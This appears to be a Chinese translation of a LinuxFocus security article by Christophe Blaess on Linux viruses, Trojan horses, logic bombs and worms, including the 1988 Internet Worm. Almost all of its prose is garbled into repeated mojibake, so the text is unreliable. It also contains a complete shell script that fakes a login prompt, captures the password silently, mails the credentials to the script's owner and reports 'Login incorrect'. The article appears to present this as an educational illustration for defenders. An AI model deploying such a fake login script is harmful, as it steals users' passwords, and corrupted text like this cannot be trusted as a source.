lf255, SystemAdministration: 锟斤拷锟斤拷锟斤拷锟斤拷锟剿癸拷注锟侥伙拷锟斤拷

by Christophe Blaess (homepage)

锟斤拷锟斤拷锟斤拷锟斤拷:

Christophe Blaess锟斤拷一位锟斤拷锟斤拷锟侥猴拷锟秸癸拷锟斤拷师锟斤拷锟斤拷锟斤拷Linux锟皆ｏ拷锟斤拷锟斤拷锟斤拷锟侥达拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷伞锟斤拷锟斤拷锟斤拷锟叫拷锟�Linux Documentation Project锟斤拷锟斤拷锟斤拷man页锟侥凤拷锟诫工锟斤拷锟斤拷

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锟斤拷锟斤拷锟斤拷锟斤拷锟剿癸拷注锟侥伙拷锟斤拷

摘要:

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟絃inux Magazine France锟斤拷锟节帮拷全锟斤拷锟截硷拷锟较★拷锟洁辑锟斤拷锟斤拷锟斤拷锟皆硷拷锟斤拷锟斤拷锟竭讹拷爽锟斤拷锟接︼拷锟斤拷锟絃inuxFocus锟斤拷锟皆凤拷锟斤拷锟斤拷锟截硷拷锟较碉拷每篇锟斤拷锟铰★拷锟斤拷耍锟揭伙拷锟斤拷锟斤拷锟斤拷欠锟斤拷锟斤拷英锟侥ｏ拷LinuxFocus锟酵会及时展锟街革拷锟斤拷锟角★拷锟斤拷谢锟斤拷锟叫诧拷锟斤拷锟斤拷罟わ拷锟斤拷锟斤拷锟皆憋拷锟斤拷院锟斤拷锟斤拷同锟斤拷锟斤拷锟斤拷锟斤拷每篇锟斤拷锟铰ｏ拷锟斤拷摘要锟斤拷锟斤拷锟截革拷使锟矫★拷

锟斤拷锟斤拷

锟斤拷锟侥斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷Linux系统锟较筹拷锟街碉拷锟节诧拷锟斤拷全锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷烁锟皆わ拷锟绞凳╋拷苹锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟芥、锟斤拷锟斤拷锟斤拷木锟斤拷锟饺等★拷锟斤拷锟角斤拷锟斤拷锟斤拷锟斤拷锟桔革拷锟斤拷漏锟斤拷锟斤拷锟节此碉拷锟斤拷锟斤拷要强锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥碉拷锟斤拷失锟斤拷

锟斤拷锟�

通锟斤拷锟斤拷锟斤拷锟街斤拷然锟斤拷同锟斤拷锟酵碉拷锟斤拷胁锟斤拷锟斤拷锟斤拷锟矫伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟角ｏ拷锟斤拷锟斤拷要锟斤拷锟斤拷为一锟轿癸拷锟斤拷锟侥凤拷锟斤拷锟斤拷锟斤拷锟角革拷锟街伙拷锟斤拷同时锟斤拷锟矫的斤拷锟斤拷锟�

锟斤拷锟斤拷 锟斤拷锟揭革拷锟斤拷锟皆革拷染锟斤拷锟斤拷锟斤拷锟斤拷锟藉；
锟斤拷锟斤拷锟斤拷木锟斤拷 执锟斤拷锟斤拷锟斤拷锟皆斤拷之锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷某锟斤拷貌锟斤拷锟睫猴拷锟斤拷应锟矫筹拷锟斤拷锟叫ｏ拷
锟斤拷锟� 锟斤拷锟矫硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷曳锟街筹拷锟斤拷锟斤拷锟酵拷锟斤拷锟斤拷锟斤拷始锟斤拷锟�
锟斤拷锟脚筹拷锟斤拷 锟斤拷锟斤拷锟解部锟矫伙拷使锟矫硷拷锟斤拷侄锟斤拷瓶锟侥筹拷锟接︼拷贸锟斤拷锟�

锟斤拷锟斤拷锟角硷拷锟皆凤拷锟斤拷通锟斤拷锟斤拷锟斤拷么锟斤拷锟阶ｏ拷锟斤拷锟界，锟斤拷些锟斤拷锟斤拷锟斤拷某些锟桔诧拷锟竭匡拷锟斤拷锟角诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷却锟斤拷为锟斤拷锟斤拷锟斤拷锟斤拷妫拷锟斤拷锟斤拷锟斤拷盏木锟斤拷锟斤拷锟绞拷旨锟斤拷值摹锟斤拷锟斤拷锟斤拷锟斤拷诒锟斤拷锟斤拷锟斤拷婕帮拷姆锟轿э拷锟剿碉拷锟斤拷獾癸拷锟斤拷锟斤拷锟斤拷锟揭拷锟斤拷锟斤拷锟斤拷锟斤拷诓锟斤拷锟斤拷锟斤拷锟斤拷锟叫诧拷锟轿ｏ拷锟絃inux系统锟斤拷

锟斤拷锟秸遍看锟斤拷锟斤拷锟洁反锟斤拷锟角ｏ拷锟斤拷锟斤拷锟街伙拷锟斤拷锟斤拷实锟窖撅拷锟斤拷锟斤拷锟斤拷锟斤拷Linux锟斤拷锟剿★拷锟斤拷然锟斤拷锟斤拷锟斤拷锟侥达拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷DOS锟斤拷锟斤拷么锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫碉拷锟斤拷胁锟洁不锟斤拷小锟接★拷锟斤拷锟斤拷锟斤拷锟角凤拷锟斤拷一锟斤拷锟斤拷锟斤拷些锟斤拷锟秸★拷

潜锟节碉拷锟斤拷胁

锟斤拷锟斤拷

锟斤拷锟斤拷锟斤拷一小锟轿帮拷锟斤拷锟斤拷某锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟轿伙拷玫拇锟斤拷耄拷锟斤拷芄锟酵拷锟斤拷锟饺撅拷碌锟街达拷锟斤拷募锟斤拷锟斤拷锟斤拷腋锟斤拷啤锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷70锟斤拷锟斤拷锟斤拷锟绞憋拷某锟斤拷锟皆憋拷锟斤拷锟揭伙拷锟斤拷锟斤拷锟�"core war"锟斤拷锟斤拷戏锟斤拷锟斤拷锟斤拷锟较凤拷锟斤拷锟斤拷锟紹ell AT&T laboratories[MARSDEN 00]锟斤拷锟斤拷目锟斤拷锟斤拷锟斤拷锟斤拷锟睫碉拷锟节达拷锟斤拷锟斤拷锟斤并锟斤拷锟斤拷锟叫ｏ拷小锟斤拷锟斤拷锟杰癸拷锟斤拷锟斤拷锟狡伙拷锟斤拷锟斤拷锟斤拷系统没锟斤拷锟结供锟斤拷锟斤拷锟节达拷锟斤拷锟斤拷之锟斤拷谋锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷嗷ワ拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟街★拷为锟剿ｏ拷锟斤拷些锟斤拷使锟斤拷'0'锟斤拷锟斤拷锟斤拷炸锟斤拷锟斤拷锟斤拷锟杰碉拷锟节达拷锟斤拷锟斤拷锟斤拷锟酵憋拷锟斤拷锟斤拷锟揭恍╋拷锟斤拷锟皆讹拷诘锟街凤拷占锟斤拷锟斤拷贫锟斤拷锟较ｏ拷锟斤拷锟斤拷堑锟斤拷锟斤拷值拇锟斤拷耄拷锟绞憋拷锟斤拷锟斤拷锟斤拷械锟揭恍╋拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥筹拷锟斤拷讯愿锟斤拷摹锟斤拷锟斤拷恕锟斤拷锟�

实锟街革拷锟斤拷戏锟斤拷锟姐法锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷乇锟轿拷浯达拷锟斤拷幕锟斤拷锟斤拷锟皆★拷red code锟斤拷锟斤拷锟斤拷通锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷谢锟斤拷锟斤拷系姆锟斤拷锟斤拷锟斤拷锟街达拷小锟斤拷锟较凤拷械锟斤拷锟饺わ拷锟斤拷锟皆达拷诳锟窖э拷暮锟斤拷妫拷锟斤拷锟斤拷the Life of Conway Game锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷片锟轿猴拷锟脚达拷锟姐法锟饺的匡拷锟斤拷一锟斤拷锟斤拷

锟斤拷锟斤拷锟斤拷锟斤拷锟脚癸拷锟斤拷core war锟斤拷锟斤拷锟铰凤拷锟斤拷锟斤拷Scientific American[DEWDNEY 84]锟较ｏ拷锟斤拷锟缴憋拷锟斤拷锟斤拷路锟斤拷锟斤拷耍锟斤拷锟叫╋拷丝锟绞硷拷锟叫葱★拷蔚锟斤拷锟斤拷腋锟斤拷频拇锟斤拷耄拷锟叫╋拷锟斤拷锟斤拷乇锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟竭匡拷执锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟紸pple ][锟斤拷锟斤拷锟斤拷铣锟斤拷郑锟斤拷锟斤拷锟斤拷锟斤拷偷锟斤拷锟組acIntosh锟斤拷PC锟侥硷拷锟斤拷锟斤拷稀锟�

MS DOS锟斤拷锟斤拷系统锟斤拷为锟剿诧拷锟斤拷锟斤拷殖锟斤拷锟斤拷锟侥撅拷锟斤拷之选锟斤拷锟斤拷态锟斤拷执锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷知锟侥革拷式锟斤拷没锟斤拷锟节存保锟斤拷锟斤拷没锟叫伙拷锟斤拷锟侥硷拷锟斤拷取权锟睫的帮拷全锟斤拷锟矫ｏ拷锟姐泛锟斤拷锟斤拷锟节达拷锟叫堆碉拷使锟斤拷TSR锟斤拷驻锟斤拷锟津，等等★拷锟斤拷锟角憋拷锟诫还锟斤拷锟斤拷一锟斤拷锟矫伙拷锟斤拷锟斤拷状态锟斤拷锟斤拷锟截ｏ拷锟斤拷锟角凤拷锟斤拷锟斤拷锟斤拷锟教斤拷锟斤拷锟斤拷执锟叫筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥硷拷锟斤拷锟斤拷源锟斤拷

锟斤拷锟斤拷虻サ锟侥Ｊ斤拷校锟斤拷锟斤拷锟斤拷锟斤拷锟揭恍★拷未锟斤拷耄拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭伙拷锟接︼拷贸锟斤拷锟绞憋拷锟轿拷锟斤拷锟街达拷小锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷时锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷未锟斤拷染锟侥匡拷执锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷嵌锟斤拷锟斤拷些锟侥硷拷锟叫ｏ拷要锟角匡拷锟斤拷锟斤拷锟杰碉拷一些锟斤拷锟斤拷帽锟斤拷锟皆拷锟斤拷锟斤拷锟斤拷薷模锟斤拷锟斤拷顺锟斤拷锟揭伙拷锟斤拷锟斤拷锟斤拷碌目锟街达拷锟斤拷募锟绞憋拷锟斤拷锟斤拷碳锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�

锟斤拷锟斤拷锟节达拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷协锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟皆讹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷[LUDWIG 91]锟斤拷[LUDWIG 93]锟叫ｏ拷锟叫癸拷锟斤拷for DOS锟斤拷锟斤拷锟斤拷锟斤拷细锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷使锟矫癸拷锟截碉拷锟斤拷锟斤拷锟斤拷锟皆憋拷锟斤拷锟斤拷锟斤拷锟节碉拷前锟斤拷杀锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷埽锟斤拷锟斤拷锟斤拷锟斤拷帽浠拷鹊取锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟绞癸拷锟斤拷糯锟斤拷惴拷锟斤拷呕锟斤拷锟斤拷锟斤拷锟斤拷诤头锟街筹拷锟斤拷锟斤拷牟锟斤拷锟斤拷锟斤拷锟截碉拷锟斤拷息锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟狡拷浅锟斤拷锟斤拷锟斤拷锟斤拷牡锟斤拷锟斤拷业锟斤拷锟�[SPAFFORD 94].

锟斤拷锟斤拷锟角憋拷锟斤拷锟轿硷拷锟斤拷锟侥碉拷锟角硷拷锟斤拷锟斤拷锟斤拷锟斤拷丫锟斤拷锟皆斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟解范围锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷纱锟斤拷锟斤拷锟斤拷锟金害★拷一小锟轿达拷锟斤拷亩锟斤拷馗锟斤拷票锟斤拷什锟斤拷锟斤拷强占锟斤拷锟剿费ｏ拷锟斤拷锟教猴拷锟节存）锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷源锟斤拷锟轿э拷拧锟斤拷锟斤拷锟斤拷涔わ拷摺锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷瞬锟斤拷锟侥讹拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷锟斤拷锟角斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟劫达拷谈锟斤拷锟斤拷锟斤拷

锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟竭硷拷炸锟斤拷

Timeo Danaos et dona ferentes - 锟斤拷锟姐当希锟斤拷锟斤拷锟斤拷锟斤拷时锟斤拷锟斤拷也锟斤拷锟斤拷锟斤拷锟角★拷 (Virgile, Aeneid,II, 49)锟斤拷

锟斤拷围锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一锟斤拷锟斤拷锟侥撅拷锟斤拷锟斤拷锟斤拷锟角斤拷锟斤拷锟斤拷锟斤拷希锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷为锟节教硷拷品锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷沤锟斤拷顺恰锟斤拷锟斤拷锟斤拷锟酵伙拷锟斤拷泳筒锟斤拷锟斤拷锟斤拷锟斤拷锟侥撅拷锟斤拷牟嗖匡拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷锟斤拷锟斤拷锟节ｏ拷锟斤拷锟斤拷锟斤拷夜幕锟节伙拷锟斤拷锟斤拷锟芥攻锟斤拷锟角池ｏ拷锟斤拷锟斤拷使锟斤拷希锟斤拷锟斤拷锟斤拷锟斤拷赢锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷战锟斤拷锟斤拷胜锟斤拷锟斤拷

锟斤拷锟斤拷锟侥★拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟饺拷锟斤拷锟斤拷专锟斤拷锟斤拷锟斤拷,锟斤拷锟斤拷示一锟斤拷锟斤拷锟斤拷锟睫猴拷锟斤拷应锟矫筹拷锟津，撅拷锟斤拷锟斤拷锟斤拷锟结到锟侥诧拷锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷锟狡伙拷锟皆的达拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷

锟竭硷拷炸锟斤拷锟斤拷一锟轿讹拷锟斤拷锟剿猴拷锟侥筹拷锟斤拷锟斤拷锟竭憋拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫э拷锟斤拷锟�

系统锟斤拷源锟侥革拷锟斤拷锟侥ｏ拷锟节达拷,硬锟斤拷,CPU锟饺等★拷锟斤拷锟斤拷
锟斤拷锟叫匡拷锟斤拷锟侥硷拷锟侥匡拷锟斤拷锟狡伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷止锟矫伙拷锟揭伙拷锟斤拷锟斤拷锟捷ｏ拷锟斤拷
锟斤拷时锟截讹拷一锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷蚀锟斤拷锟皆撅拷锟斤拷锟斤拷锟斤拷锟截得革拷锟矫ｏ拷
锟斤拷系统锟斤拷全锟侥癸拷锟斤拷锟斤拷执锟斤拷十锟斤拷锟斤拷懈锟侥达拷取权锟睫ｏ拷锟斤拷锟斤拷锟斤拷锟侥硷拷锟斤拷锟酵革拷一锟斤拷internet锟斤拷址锟饺等★拷锟斤拷锟斤拷
锟斤拷锟矫伙拷锟斤拷锟斤拷为锟斤拷锟斤拷锟斤拷植锟斤拷卸锟街拷茫锟斤拷锟叫╋拷植锟斤拷卸锟斤拷锟紻DoS(Distributed Denial of Service)之锟斤拷亩锟斤拷锟揭碉拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�[GIBSON 01]锟斤拷锟斤拷锟结到锟斤拷
锟斤拷锟节达拷锟斤拷锟斤拷应锟矫筹拷锟斤拷注锟斤拷锟斤拷锟斤拷锟较革拷宓ワ拷锟斤拷锟斤拷锟斤拷浞拷透锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷摺锟�

锟斤拷某些锟斤拷锟斤拷拢锟斤拷呒锟秸拷锟斤拷锟斤拷锟斤拷锟截讹拷锟斤拷目锟斤拷系统锟斤拷锟斤拷写锟斤拷锟斤拷锟斤拷图锟斤拷取锟斤拷锟较的伙拷锟斤拷锟斤拷息锟斤拷锟狡伙拷锟斤拷锟斤拷锟侥硷拷锟斤拷锟竭碉拷锟斤拷锟矫伙拷锟斤拷锟斤拷识锟斤拷去锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷同锟斤拷锟斤拷炸锟斤拷锟斤拷锟轿猴拷锟斤拷锟斤拷锟斤拷锟酵碉拷系统锟斤拷锟斤拷锟斤拷锟睫猴拷锟侥★拷

锟竭硷拷炸锟斤拷也锟斤拷锟斤拷锟斤拷图锟斤拷锟斤拷锟斤拷锟斤拷锟狡伙拷锟斤拷驻锟斤拷锟斤拷系统锟斤拷锟斤拷锟街匡拷锟斤拷锟斤拷锟斤拷然锟斤拷锟襟，碉拷锟斤拷确实锟斤拷锟节ｏ拷删锟斤拷CMOS锟芥储锟斤拷锟斤拷锟捷ｏ拷锟睫革拷modem锟斤拷锟斤拷锟斤拷锟捷ｏ拷锟斤拷印锟斤拷锟斤拷锟斤拷图锟角★拷扫锟斤拷锟角碉拷头锟斤拷锟斤拷锟斤拷锟皆碉拷锟狡讹拷锟斤拷硬锟教讹拷锟斤拷头锟侥硷拷锟斤拷锟斤拷转...锟斤拷

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟秸★拷炸锟斤拷锟斤拷锟侥憋拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟角匡拷锟斤拷说锟竭硷拷炸锟斤拷锟斤拷要锟阶癸拷锟斤拷锟斤拷锟斤拷锟斤拷实锟斤拷锟较ｏ拷锟斤拷效锟绞讹拷锟皆ｏ拷锟斤拷锟斤拷锟斤拷木锟斤拷锟津病讹拷锟斤拷锟阶达拷锟斤拷锟斤拷时锟斤拷执锟斤拷锟狡伙拷锟皆的诧拷锟斤拷锟斤拷一锟斤拷锟斤拷锟矫的诧拷锟皆★拷锟节帮拷装锟斤拷锟竭硷拷炸锟斤拷之锟斤拷锟斤拷锟斤拷堑却锟揭伙拷锟斤拷俦锟秸拷锟斤拷锟斤拷诓锟斤拷锟斤拷锟斤拷锟斤拷锟剿碉拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷系统锟叫达拷锟斤拷锟侥★拷锟斤拷锟结”锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷说锟斤拷锟斤拷锟斤拷圆锟斤拷锟斤拷没锟教拷锟斤拷追锟斤拷锟斤拷碌锟接︼拷贸锟斤拷锟阶帮拷锟斤拷锟斤拷锟斤拷锟斤拷系锟斤拷斐ｏ拷锟斤拷锟街拷锟斤拷锟斤拷系锟斤拷

锟斤拷锟斤拷锟轿何猴拷锟斤拷之锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷也锟角革拷锟叫诧拷同锟斤拷锟斤拷装锟斤拷锟接筹拷十锟届，删锟斤拷锟截讹拷锟矫伙拷锟绞号ｏ拷锟斤拷时删锟斤拷锟斤拷锟斤拷锟斤拷锟教猴拷锟斤拷锟酵Ｖ癸拷疃�30锟斤拷锟接ｏ拷锟斤拷印锟斤拷锟斤拷锟叫的高革拷锟斤拷...锟斤拷锟斤拷锟斤拷缺!锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷幕锟斤拷锟斤拷锟斤拷锟津，撅拷锟杰斤拷锟届看锟斤拷锟斤拷锟叫碉拷太锟斤拷锟阶★拷锟斤拷锟斤拷锟剿碉拷锟斤拷锟斤拷拢锟斤拷锟叫╋拷锟斤拷锟斤拷芄锟斤拷锟斤拷芨锟斤拷诺锟绞凳╋拷苹锟斤拷锟斤拷乇锟斤拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷恰锟斤拷一小时之锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷么锟斤拷锟斤拷锟斤拷锟皆肯讹拷锟矫伙拷锟斤拷时锟窖撅拷锟斤拷锟节硷拷锟斤拷锟角帮拷锟斤拷恕锟�

锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷疟锟斤拷锟斤拷锟斤拷锟绞疽伙拷锟斤拷锟铰�/锟斤拷锟诫（login/password锟斤拷锟斤拷幕锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷息锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟饺伙拷锟斤拷顺锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟轿词癸拷玫锟斤拷斩耍锟斤拷媒疟锟斤拷锟斤拷锟斤拷锟斤拷锟铰革拷锟斤拷锟斤拷锟斤拷锟接碉拷锟矫伙拷锟斤拷锟斤拷锟诫。

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

为使之锟斤拷锟斤拷锟斤拷院锟较匡拷锟斤拷锟接ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷shell锟斤拷锟斤拷exec锟斤拷锟斤拷锟斤拷锟斤拷锟杰猴拷锟竭匡拷锟斤拷"Login incorrect"锟斤拷息时锟斤拷锟斤拷锟斤拷为锟皆硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷腔锟斤拷猿锟斤拷锟侥凤拷锟斤拷锟斤拷锟斤拷锟劫达拷锟斤拷锟接★拷锟斤拷为锟竭硷拷锟侥版本锟杰癸拷模锟斤拷X11锟斤拷锟接对伙拷锟斤拷为锟剿憋拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷圈锟阶ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷斩锟斤拷锟绞癸拷锟揭伙拷锟斤拷锟斤拷锟侥碉拷录/锟斤拷锟诫（锟斤拷锟街凤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟街拷锟绞拷锟斤拷锟斤拷锥锟斤拷液芸锟斤拷锟斤拷学锟结）锟斤拷

锟斤拷锟�

Paul锟斤拷锟斤拷锟皆硷拷锟斤拷Worm之锟较ｏ拷锟斤拷锟斤拷雀跃锟斤拷锟斤拷锟斤拷一位锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟芥。(F. Herbert "Dune")

"Worms"锟斤拷锟斤拷锟斤拷锟诫病锟斤拷一锟斤拷锟斤拷原锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一锟街筹拷锟皆革拷锟斤拷锟斤拷锟斤拷锟皆撅拷锟斤拷锟杰达拷锟斤拷锟斤拷锟斤拷锟侥筹拷锟斤拷锟斤拷锟斤拷也锟斤拷锟斤拷携锟斤拷一枚装锟斤拷锟斤拷锟接迟达拷锟斤拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷锟斤拷锟斤拷锟解并锟斤拷锟斤拷锟斤拷要锟斤拷锟杰★拷锟斤拷锟斤拷氩★拷锟斤拷牟锟斤拷锟斤拷锟斤拷锟斤拷娌皇癸拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟轿拷锟斤拷锟矫斤拷椋拷锟斤拷锟斤拷锟酵硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷峁╋拷墓锟斤拷埽锟斤拷锟斤拷锟斤拷锟斤拷锟绞硷拷锟斤拷锟斤拷一台锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一台锟斤拷锟斤拷锟斤拷

锟斤拷锟侥硷拷锟斤拷锟饺硷拷锟洁当锟竭ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟结供锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷漏锟斤拷锟斤拷锟斤拷使锟斤拷锟斤拷远锟教伙拷锟斤拷锟斤拷锟斤拷锟揭革拷锟狡★拷锟斤拷原锟斤拷锟斤拷1988"Internet Worm"锟斤拷

Internet Worm锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟接ｏ拷没锟叫帮拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷锟斤拷锟斤拷锟戒不露锟斤拷色锟斤拷锟狡伙拷效锟斤拷十锟街匡拷锟铰★拷锟斤拷锟斤拷锟斤拷锟�[KEHOE 92]锟斤拷锟揭碉拷锟斤拷锟斤拷锟教讹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷[SPAFFORD 88]锟斤拷[EICHIN 89]锟斤拷锟揭碉拷锟斤拷细锟侥凤拷锟斤拷锟斤拷锟芥。

锟斤拷锟斤拷锟街拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷Robert Morris Jr锟斤拷锟斤拷锟斤拷时锟斤拷Cornell锟斤拷学锟斤拷学锟斤拷锟斤拷锟斤拷锟窖撅拷锟斤拷为一篇锟斤拷锟斤拷锟斤拷锟斤拷协锟斤拷锟叫的帮拷全锟斤拷锟斤拷锟斤拷锟斤拷锟�[MORRIS 85]锟斤拷小锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷NCSC锟斤拷NSA锟侥凤拷支锟斤拷锟脚ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷全锟斤拷锟斤拷指锟截碉拷锟角革拷锟剿★拷锟斤拷锟斤拷锟斤拷锟斤拷1988锟斤拷11锟斤拷2锟秸帮拷锟斤拷锟斤拷锟斤拷锟侥ｏ拷锟斤拷锟揭碉拷锟斤拷锟斤拷锟接碉拷Internet锟较的撅拷锟斤拷锟斤拷锟较低惩Ｖ癸拷锟斤拷小锟斤拷锟斤拷墓锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷拢锟�

一锟斤拷锟斤拷透锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟酵筹拷锟皆达拷锟斤拷锟斤拷锟界。为锟剿伙拷取锟斤拷址锟斤拷锟斤拷锟斤拷取系统锟侥硷拷锟斤拷锟斤拷锟矫癸拷锟竭筹拷锟斤拷锟斤拷netstat锟斤拷锟结供锟斤拷锟斤拷锟斤拷锟斤拷涌诘锟斤拷锟较拷锟�
锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷图锟斤拷锟斤拷没锟斤拷屎拧锟轿拷耍锟斤拷锟斤拷锟斤拷值锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷募锟斤拷锟斤拷冉稀锟酵憋拷锟斤拷锟斤拷锟斤拷锟绞癸拷锟斤拷没锟斤拷锟斤拷值锟斤拷锟较ｏ拷锟斤拷锟斤拷锟截革拷锟饺等ｏ拷锟斤拷为锟斤拷锟诫。锟斤拷一锟斤拷锟斤拷要锟斤拷锟斤拷锟斤拷系统锟侥碉拷一锟斤拷漏锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷啥锟斤拷锟斤拷募锟斤拷锟�/etc/passwd锟斤拷锟叫ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷源锟侥承╋拷没锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟窖★拷锟斤拷谢锟斤拷妗ｏ拷锟揭伙拷锟铰╋拷锟斤拷锟斤拷锟斤拷丫锟酵拷锟绞癸拷锟�shadow passwords锟斤拷媒锟斤拷锟斤拷
